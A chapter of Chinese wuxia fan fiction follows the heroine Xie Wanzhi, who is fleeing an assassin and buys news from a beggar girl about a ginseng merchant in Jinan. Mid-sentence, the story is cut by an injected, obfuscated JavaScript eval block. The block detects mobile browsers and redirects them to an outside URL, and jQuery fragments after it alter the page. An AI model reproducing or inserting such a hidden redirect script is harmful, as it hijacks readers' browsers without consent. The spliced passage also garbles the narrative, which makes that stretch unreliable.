江南三月,何等柔情?
乍暖还寒,烟柳锁桥,云树绕堤。
可惜,这里不是江南。
保定地处江北,三月风雪尤盛,打在人脸上,吹在衣襟里,刺骨的寒,料峭的冷。
往前推十余年,这里倒是曾出过一位天下无人不识的英雄。
小李飞刀李寻欢。
小李飞刀在百晓生的兵器谱上排名第三,但在天机老人孙白发身死、金钱帮帮主上官金虹与李寻欢一战落败后,天机棒和子母龙凤环先后失其主,李寻欢的声名自此达到了顶峰。
可就在那之后不久,李寻欢携妻归隐,不知所踪。
飞刀成绝响,城中留遗迹。而偌大的金钱帮也在帮主上官金虹死后日渐没落。
瘦死的骆驼比马大,如今的金钱帮,虽势力不出河北,却也余威尚存。
“都说金钱帮帮主上官金虹生前曾将一笔惊人的财富秘密藏了起来。只要找到这笔宝藏,金钱帮就有望东山再起。”
金钱帮能不能东山再起谢挽之不知道,但她知道他们也还欠着她任务的尾款没付。
啧,就这还好意思叫金钱帮。
“都过去两三年了,这钱我看你是讨不回来了。”
说话的是个扎着羊角辫的小乞儿,拿两根磨毛了边的布条胡乱绑着发,腰间挎一个鼓囊囊的布袋,一双眼乌黑发亮。
她正目不转睛地盯着身旁同样穿着件百家衣的青年手中的烧鸡,不自觉吞咽了一口口水。
好香啊。
“干娘特地让我转告你,这次徐州城发生的事金钱帮应当没有参与。”小乞儿顿了顿,幸灾乐祸道:
“不过之之,跑得了初一跑不了十五,被中原一点红这样的杀手盯上了,你确定你跑得掉吗?”
“他这会儿大概以为我往江南去了,短时间应该不会猜到我其实往北跑了。”
徐州城是南北襟要,自古为陆路要道、水运枢纽,四通八达。不论是北上幽燕,南下淮河,还是西出中原,都要从此经过。
这也就意味着,中原一点红很难推测出她究竟逃去了哪里。
声东击西,她自信至少能拖上一段时间。
转动着手中木棍,串在其上的烧鸡被架在火上烤着,青年往上面均匀地撒上佐料,油脂的香气四散开来,充斥着一方土地庙。
她顿了顿,停下手中动作,空着的那只手往小乞儿头顶一个暴栗:
“还有,之之什么之之,我是耗子吗?叫大王!”
“哎哟!”小乞儿一声轻呼捂住脑门,不情不愿地叫了声“大王”,安分没多久又贼笑着拿手肘捅了捅青年的侧腰:“咳咳,大王,要不九姐我替你指条明路?”
“呵,说来听听。”
小乞儿捋了捋根本不存在的胡须,清了清嗓子,摇头晃脑:
“嗯哼,遥想昔年六分半堂的雷损错手杀了名朝廷要员,人家麻溜躲进庙里剃度当了和尚,时过境迁,这当年杀人的事嘛,也就一笔勾销。”
“如今照样稳坐六分半堂,被人尊称一声雷总堂主。”
“这和我的情况哪里一样了?”青年好笑地问。
“我是想说,只要豁得出去,天无绝人之路~”
……铺垫得可真够长的:“请问我被一点红宰掉之前能听到您的明路吗?”笑眯眯地威胁。
“去连云寨。”
小乞儿打了个响指,一口气道:“沧州离这里不远,你去投奔连云寨,他们如今的大寨主戚少商人称九现神龙,向来急公好义。一点红就算知道了,你至少也不是一个人,到时候以多打少,你也能多几分胜算。”
“你确定?”拍开小乞儿沾了道灰的爪子,青年把终于烤好的烧鸡往小乞儿鼻端晃了一圈,在对方望眼欲穿的表情里皮笑肉不笑道:
“好你个小九,我让你叫我一声大王,你还真想看我落草为寇。”
“嘿嘿。”小乞儿挠头讪笑。
“这事我心中有数,他还没那么快反应过来。”青年收敛笑意,接着道:“我让你们查的那件事查得怎么样了?”
“你说哪件?”小乞儿眼珠滴溜溜转着,装傻充楞。
“嗯?收钱不办事?”青年挑起一边眉毛,呲牙眯眼笑了起来:“你再不老实,我就去跟你干娘告状,叫她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199189|197158||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打你屁股。”
“哇!之之你不讲义气!”小乞儿哇哇乱叫,趁机挠青年痒痒。
青年岿然不动,哼笑一声冷眼静静看她耍无赖。
大概是觉得没意思,小乞儿收回爪子,吸溜着鼻子道:“放心,干娘一直派人替你留意着。”
说着压低声音,一脸神秘:“这次还真有消息!”
青年闻言眼神微动,肃容道:“找到那个采参商了?”
“嗯!”小九得意地扬眉,迫不及待从她手里抢过觊觎已久的烧鸡,一边啃一边声音含糊地将知道的消息分享给青年:“就在前天,有我们的人看到你要找的那个采参商出现在了济南城……”
认真听完自己想要的情报,青年从袖里掏出八百两银票:“老规矩,五百两是前几次提供情报的钱,先把前年欠的补了,剩下的三百两还是寄去老地方。”
“得嘞!来之前干娘可说了,你再不补上些之前欠的钱,这就是最后一次合作了。”
小乞儿喜不自胜地舔了舔手指,伸出油乎乎的爪子,将银票分成两份,分开叠好塞进兜里,老练地道:“现在嘛,合作愉快!”
打了个饱嗝,起身拍了拍身上的草屑,蹦蹦跳跳朝外:“噢差点忘了!”
小乞儿回头看向青年:“最近帮里不太平,任帮主新丧,手下有些人不太安分,寄钱出去要花的功夫会比原来长些,干娘让我提前和你打声招呼。”
“好,总之尽快。”青年盘腿席地坐着,闻言抱臂戏谑道:“不过丐帮是怎么回事?你们这边若是需要我出手帮忙,可以把五百两还回来,我给你们开个友情价。”
“分舵的事就不劳你操心了。”对于谢挽之提出的建议不置可否,小九只挺了挺胸脯,翘起嘴做了个鬼脸:
“倒是之之你,赶紧动身去济南吧,毕竟是一两天前得的消息,迟了万一人走楼空,下一次想再抓住尾巴就不知猴年马月喽!”
话音刚落,像只兔子般转眼蹿了个没影。
“知道了。”青年双手背在脑后,火光照在锋利的眉骨,落在眼底,额前发带如添一抹血痕,她托腮思忖:“济南么……”